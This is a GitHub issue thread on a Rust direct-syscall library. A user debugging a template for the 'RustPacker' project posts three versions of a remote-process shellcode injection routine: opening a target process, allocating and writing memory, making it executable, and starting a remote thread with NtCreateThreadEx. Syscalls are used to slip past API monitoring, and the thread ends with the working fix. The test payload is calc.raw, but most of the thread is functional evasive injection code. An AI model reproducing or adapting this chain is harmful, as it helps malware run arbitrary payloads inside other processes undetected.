janoglezcampos / rust_syscalls

Single stub direct and indirect syscalling with runtime SSN resolving for windows.
185 stars 26 forks source link

Help request : syscall with NtCreateThreadEx #3

Closed Nariod closed 1 year ago

Nariod commented 1 year ago

Hello mate,

I am using your repo for different projects. In my RustPacker, I am writing a template that uses rust_syscalls for shellcode injection. I successfully ported all my NTAPI calls, except NtCreateThreadEx. I tried the following:

let mut thread_handle : *mut c_void = null_mut();
let handle = process_handle as *mut c_void;
let write_thread = syscall!("NtCreateThreadEx", &mut thread_handle, GENERIC_ALL, null_mut(), handle, allocstart, null_mut(), 0, 0, 0, 0, null_mut());

but this, gives the folllowing error: image

However, the normal NTAPI call with the same arguments compiles and works when executed:

let write_thread = NtCreateThreadEx(&mut thread_handle, GENERIC_ALL, null_mut(), handle, allocstart, null_mut(), 0, 0, 0, 0, null_mut());

Did you try to use rust_syscalls with the NtCreateThreadEx NTAPI call? More generally, how do you convert the NTAPI call arguments to be compatible with your project ?

All the best ! Nariod

janoglezcampos commented 1 year ago

Hey Nariod! Right now Im a little bit busy, I will come back later today to check it.

janoglezcampos commented 1 year ago

Btw @Nariod, if you can provide little source code with the following would be nice (just paste the main code in a comment here): 1 of your working calls 1 NtCreateThreadEx working call ("normal" NTAPi) 1 NtCreateThreadEx not working call

This will allow me to start debugging directly. Im not a Rust coder (developed this because I liked Rust macros and wanted to play with them) so Ive not examples.

Nariod commented 1 year ago

Hello @janoglezcampos ,

Thank you very much for your time :) The three following code blocks are the same, except for the NtCreateThreadEx call.

This code compiles and works as expected:

    unsafe {

        //let h_process = OpenProcess(PROCESS_ALL_ACCESS, false, *tar).unwrap();
        let open_status = syscall!("NtOpenProcess", &mut process_handle, ACCESS_ALL, &mut oa, &mut ci);
        if !NT_SUCCESS(open_status) {
            panic!("Error opening process: {}", open_status);
        }
        //let result_ptr = VirtualAllocEx(h_process, None, buf.len(), MEM_COMMIT, PAGE_READWRITE);
        let mut allocstart : *mut c_void = null_mut();
        let mut size : usize = buf.len();
        let alloc_status = syscall!("NtAllocateVirtualMemory", process_handle, &mut allocstart, 0, &mut size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
        if !NT_SUCCESS(alloc_status) {
            panic!("Error allocating memory to the target process: {}", alloc_status);
        }
        let mut byteswritten = 0;
        let buffer = buf.as_mut_ptr() as *mut c_void;
        let mut buffer_length = buf.len();
        let write_status = syscall!("NtWriteVirtualMemory", process_handle, allocstart, buffer, buffer_length, &mut byteswritten);
        if !NT_SUCCESS(write_status) {
            panic!("Error writing to the target process: {}", write_status);
        }
        /*let _resb = WriteProcessMemory(
            h_process,
            result_ptr,
            buf.as_ptr() as _,
            buf.len(),
            Some(&mut byteswritten),
        );
        */
        let mut old_perms = PAGE_READWRITE;
        let protect_status = syscall!("NtProtectVirtualMemory", process_handle, &mut allocstart, &mut buffer_length, PAGE_EXECUTE_READWRITE, &mut old_perms);
        if !NT_SUCCESS(protect_status) {
            panic!("[-] Failed to call NtProtectVirtualMemory: {:#x}", protect_status);
        }
        /* 
        let _bool = VirtualProtectEx(
            h_process,
            result_ptr,
            buf.len(),
            PAGE_EXECUTE_READWRITE,
            &mut old_perms,
        );
        */

        let mut thread_handle : *mut c_void = null_mut();
        let handle = process_handle as *mut c_void;

        let write_thread = NtCreateThreadEx(&mut thread_handle, GENERIC_ALL, null_mut(), handle, allocstart, null_mut(), 0, 0, 0, 0, null_mut());
        //let write_thread = NtCreateThreadEx(&mut thread_handle, MAXIMUM_ALLOWED, lol1, handle, allocstart, lol2, 0, 0, 0, 0, lol3);

        if write_status != 0 {
            panic!("Error failed to create remote thread: {:#02X}", write_thread);
        }
    }

This code does not compile:

    unsafe {

        //let h_process = OpenProcess(PROCESS_ALL_ACCESS, false, *tar).unwrap();
        let open_status = syscall!("NtOpenProcess", &mut process_handle, ACCESS_ALL, &mut oa, &mut ci);
        if !NT_SUCCESS(open_status) {
            panic!("Error opening process: {}", open_status);
        }
        //let result_ptr = VirtualAllocEx(h_process, None, buf.len(), MEM_COMMIT, PAGE_READWRITE);
        let mut allocstart : *mut c_void = null_mut();
        let mut size : usize = buf.len();
        let alloc_status = syscall!("NtAllocateVirtualMemory", process_handle, &mut allocstart, 0, &mut size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
        if !NT_SUCCESS(alloc_status) {
            panic!("Error allocating memory to the target process: {}", alloc_status);
        }
        let mut byteswritten = 0;
        let buffer = buf.as_mut_ptr() as *mut c_void;
        let mut buffer_length = buf.len();
        let write_status = syscall!("NtWriteVirtualMemory", process_handle, allocstart, buffer, buffer_length, &mut byteswritten);
        if !NT_SUCCESS(write_status) {
            panic!("Error writing to the target process: {}", write_status);
        }
        /*let _resb = WriteProcessMemory(
            h_process,
            result_ptr,
            buf.as_ptr() as _,
            buf.len(),
            Some(&mut byteswritten),
        );
        */
        let mut old_perms = PAGE_READWRITE;
        let protect_status = syscall!("NtProtectVirtualMemory", process_handle, &mut allocstart, &mut buffer_length, PAGE_EXECUTE_READWRITE, &mut old_perms);
        if !NT_SUCCESS(protect_status) {
            panic!("[-] Failed to call NtProtectVirtualMemory: {:#x}", protect_status);
        }
        /* 
        let _bool = VirtualProtectEx(
            h_process,
            result_ptr,
            buf.len(),
            PAGE_EXECUTE_READWRITE,
            &mut old_perms,
        );
        */

        let mut thread_handle : *mut c_void = null_mut();
        let handle = process_handle as *mut c_void;

        let write_thread = syscall!("NtCreateThreadEx", &mut thread_handle, GENERIC_ALL, null_mut(), handle, allocstart, null_mut(), 0, 0, 0, 0, null_mut());
        //let write_thread = NtCreateThreadEx(&mut thread_handle, MAXIMUM_ALLOWED, lol1, handle, allocstart, lol2, 0, 0, 0, 0, lol3);

        if write_status != 0 {
            panic!("Error failed to create remote thread: {:#02X}", write_thread);
        }
    }

This code compiles, but does not work when executed:

    unsafe {

        //let h_process = OpenProcess(PROCESS_ALL_ACCESS, false, *tar).unwrap();
        let open_status = syscall!("NtOpenProcess", &mut process_handle, ACCESS_ALL, &mut oa, &mut ci);
        if !NT_SUCCESS(open_status) {
            panic!("Error opening process: {}", open_status);
        }
        //let result_ptr = VirtualAllocEx(h_process, None, buf.len(), MEM_COMMIT, PAGE_READWRITE);
        let mut allocstart : *mut c_void = null_mut();
        let mut size : usize = buf.len();
        let alloc_status = syscall!("NtAllocateVirtualMemory", process_handle, &mut allocstart, 0, &mut size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
        if !NT_SUCCESS(alloc_status) {
            panic!("Error allocating memory to the target process: {}", alloc_status);
        }
        let mut byteswritten = 0;
        let buffer = buf.as_mut_ptr() as *mut c_void;
        let mut buffer_length = buf.len();
        let write_status = syscall!("NtWriteVirtualMemory", process_handle, allocstart, buffer, buffer_length, &mut byteswritten);
        if !NT_SUCCESS(write_status) {
            panic!("Error writing to the target process: {}", write_status);
        }
        /*let _resb = WriteProcessMemory(
            h_process,
            result_ptr,
            buf.as_ptr() as _,
            buf.len(),
            Some(&mut byteswritten),
        );
        */
        let mut old_perms = PAGE_READWRITE;
        let protect_status = syscall!("NtProtectVirtualMemory", process_handle, &mut allocstart, &mut buffer_length, PAGE_EXECUTE_READWRITE, &mut old_perms);
        if !NT_SUCCESS(protect_status) {
            panic!("[-] Failed to call NtProtectVirtualMemory: {:#x}", protect_status);
        }
        /* 
        let _bool = VirtualProtectEx(
            h_process,
            result_ptr,
            buf.len(),
            PAGE_EXECUTE_READWRITE,
            &mut old_perms,
        );
        */

        let mut thread_handle : *mut c_void = null_mut();
        let handle = process_handle as *mut c_void;

        let write_thread = syscall!("NtCreateThreadEx", &mut thread_handle, GENERIC_ALL, null_mut() as POBJECT_ATTRIBUTES, handle, allocstart, null_mut() as PVOID, 0, 0, 0, 0, null_mut() as PPS_ATTRIBUTE_LIST);
        //let write_thread = NtCreateThreadEx(&mut thread_handle, MAXIMUM_ALLOWED, lol1, handle, allocstart, lol2, 0, 0, 0, 0, lol3);

        if write_status != 0 {
            panic!("Error failed to create remote thread: {:#02X}", write_thread);
        }
    }

All the best ! Nariod

Nariod commented 1 year ago

Hello @janoglezcampos , To give a bit more information:

  1. The first block uses rust_syscalls for all API calls, except NtCreateThreadEx which is made using the NTAPI Rust crate: https://docs.rs/ntapi/latest/ntapi/ntpsapi/fn.NtCreateThreadEx.html. This block compiles and works fine when executed.
  2. The second block uses rust_syscalls for all API calls, including NtCreateThreadEx. This block does not compile, because the "null_mut()" arguments given to the syscall macro when calling NtCreateThreadEx are not accepted (they must be defined).
  3. The third block uses rust_syscalls for all API calls and attempts to patch the error from block 2 by specifying the type on the "null_mut()" arguments passed to the syscall macro when calling NtCreateThreadEx. This block compiles, executes without any error, but does not provide the expected result: a remote thread being created.

If you want to test by yourself, you can use the https://github.com/Nariod/RustPacker project on the "syscrt" branch. Then, execute cargo run -- -f shared/calc.raw -i syscrt -e aes.

Don't hesitate to ask if you need more information or any help. All the best, Nariod

Nariod commented 1 year ago

Hey,

Got it ! The following call works fine:

let write_thread = syscall!("NtCreateThreadEx", &mut thread_handle, GENERIC_ALL, NULL, handle, allocstart, NULL, 0, NULL, NULL, NULL, NULL);

All the best, Nariod